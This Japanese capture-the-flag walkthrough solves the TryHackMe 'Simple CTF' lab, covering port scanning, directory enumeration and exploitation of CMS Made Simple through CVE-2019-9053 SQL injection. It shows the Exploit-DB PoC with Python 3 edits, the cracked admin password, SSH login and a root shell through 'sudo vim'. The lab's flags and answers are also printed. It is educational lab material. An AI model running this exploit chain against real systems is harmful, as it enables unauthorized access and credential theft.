概要
TryHackMe「Simple CTF」のWalkthroughです。
Task1
Q1.How many services are running under port 1000?
nmap
でポートスキャンを実行します。
$ nmap -Pn -sC -A -T4 -sV 10.10.211.12
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-04 03:05 EDT
Nmap scan report for 10.10.211.12
Host is up (0.24s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: TIMEOUT
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:10.6.55.144
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 3
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
| http-robots.txt: 2 disallowed entries
|_/ /openemr-5_0_1_3
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.18 (Ubuntu)
2222/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 29:42:69:14:9e:ca:d9:17:98:8c:27:72:3a:cd:a9:23 (RSA)
| 256 9b:d1:65:07:51:08:00:61:98:de:95:ed:3a:e3:81:1c (ECDSA)
|_ 256 12:65:1b:61:cf:4d:e5:75:fe:f4:e8:d4:6e:10:2a:f6 (ED25519)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 55.80 seconds
ftp:21
,http:80
,ssh:2222
番ポートがオープンになっているのを確認しました。
A.2
Q2.What is running on the higher port?
ポートスキャンの結果からssh
が2222
番ポートで動作しているのを確認できました。
A.ssh
Q3.What's the CVE you're using against the application?
80
番でhttp
が動いているのでディレクトリの列挙をします。
$ dirsearch -u http://10.10.211.12
/robots.txt
と/simple
を発見しました。
[03:20:29] 200 - 540B - /robots.txt
[03:20:34] 301 - 313B - /simple -> http://10.10.211.12/simple/
/robots.txt
はめぼしいものないかな。
/simple
へアクセスしてみると、CMS Made Simple
で作成されたページが出てきた。
フッターからバージョンを確認できました。
searchsploit
でCVEを検索します。
$ searchsploit CMS Simple 2.2.8
----------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
----------------------------------------------------------------------------------- ---------------------------------
CMS Made Simple < 2.2.10 - SQL Injection | php/webapps/46635.py
----------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
PoCコードからCVEを確認できました。
$ cat /usr/share/exploitdb/exploits/php/webapps/46635.py
#!/usr/bin/env python
# Exploit Title: Unauthenticated SQL Injection on CMS Made Simple <= 2.2.9
# Date: 30-03-2019
# Exploit Author: Daniele Scanu @ Certimeter Group
# Vendor Homepage: https://www.cmsmadesimple.org/
# Software Link: https://www.cmsmadesimple.org/downloads/cmsms/
# Version: <= 2.2.9
# Tested on: Ubuntu 18.04 LTS
# CVE : CVE-2019-9053
- Exploit DB
A.CVE-2019-9053
Q4.To what kind of vulnerability is the application vulnerable?
Hint.You can use /usr/share/seclists/Passwords/Common-Credentials/best110.txt to crack the pass
SQL Injectionの脆弱性があります。
A.sqli
Q5.What's the password?
コードから必要なオプションを確認します。
parser.add_option('-u', '--url', action="store", dest="url", help="Base target uri (ex. http://10.10.10.100/cms)")
parser.add_option('-w', '--wordlist', action="store", dest="wordlist", help="Wordlist for crack admin password")
parser.add_option('-c', '--crack', action="store_true", dest="cracking", help="Crack password with wordlist", default=False)
このPoCコードはpython2.xで書かれていますが、適宜編集すればpython3.xでも動作しました。
- 変更前
25 print "[+] Specify an url target"
26 print "[+] Example usage (no cracking password): exploit.py -u http://target-uri"
27 print "[+] Example usage (with cracking password): exploit.py -u http://target-uri --crack -w /path-wordlist"
28 print "[+] Setup the variable TIME with an appropriate time, because this sql injection is a time based."
56 if hashlib.md5(str(salt) + line).hexdigest() == password:
- 変更後
25 print ("[+] Specify an url target")
26 print ("[+] Example usage (no cracking password): exploit.py -u http://target-uri")
27 print ("[+] Example usage (with cracking password): exploit.py -u http://target-uri --crack -w /path-wordlist")
28 print ("[+] Setup the variable TIME with an appropriate time, because this sql injection is a time based.")
56 if hashlib.md5((str(salt) + line).encode("utf-8")).hexdigest() == password:
クレデンシャル情報を取得出来ました。
$ python3 /usr/share/exploitdb/exploits/php/webapps/46635.py -u http://10.10.211.12/simple -w /usr/share/seclists/Passwords/Common-Credentials/best110.txt --crack
[+] Salt for password found: 1dac0d92e9fa6bb2
[+] Username found: mitch
[+] Email found: admin@admin.com
[+] Password found: 0c01f4468bd75d7a84c7eb73846e8d96
[+] Password cracked: secret
A.secret
Q6.Where can you login with the details obtained?
入手した認証情報でSSH接続が出来ました。
$ ssh -p 2222 mitch@10.10.211.12
A.ssh
Q7.What's the user flag?
カレントディレクトリのuser.txt
から答えをゲットできました。
$ ls -l
total 4
-rw-rw-r-- 1 mitch mitch 19 aug 17 2019 user.txt
$ cat user.txt
G00d j0b, keep up!
A.G00d j0b, keep up!
Q8.Is there any other user in the home directory? What's its name?
/home
ディレクトリ配下には他にsunbath
がありました。
$ ls -l /home
total 8
drwxr-x--- 3 mitch mitch 4096 aug 19 2019 mitch
drwxr-x--- 16 sunbath sunbath 4096 aug 19 2019 sunbath
A.sunbath
Q9.What can you leverage to spawn a privileged shell?
vim
がパスワードなしのroot
権限で実行できるようになっていることを確認しました。
$ sudo -l
User mitch may run the following commands on Machine:
(root) NOPASSWD: /usr/bin/vim
sudo -l
についての記事を投稿したので併せてご覧ください。
【ハッキング入門】sudo -lで権限昇格への足掛かりにする
A.vim
Q10.What's the root flag?
GTFOBins
を参考に権限昇格を試みます。
root
のシェルを取得できました。
$ sudo vim -c ':!/bin/sh'
# whoami
root
/root/root.txt
を発見したので閲覧して答えをゲットできました!
# ls -l /root
total 4
-rw-r--r-- 1 root root 24 aug 17 2019 root.txt
# cat /root/root.txt
W3ll d0n3. You made it!
A.W3ll d0n3. You made it!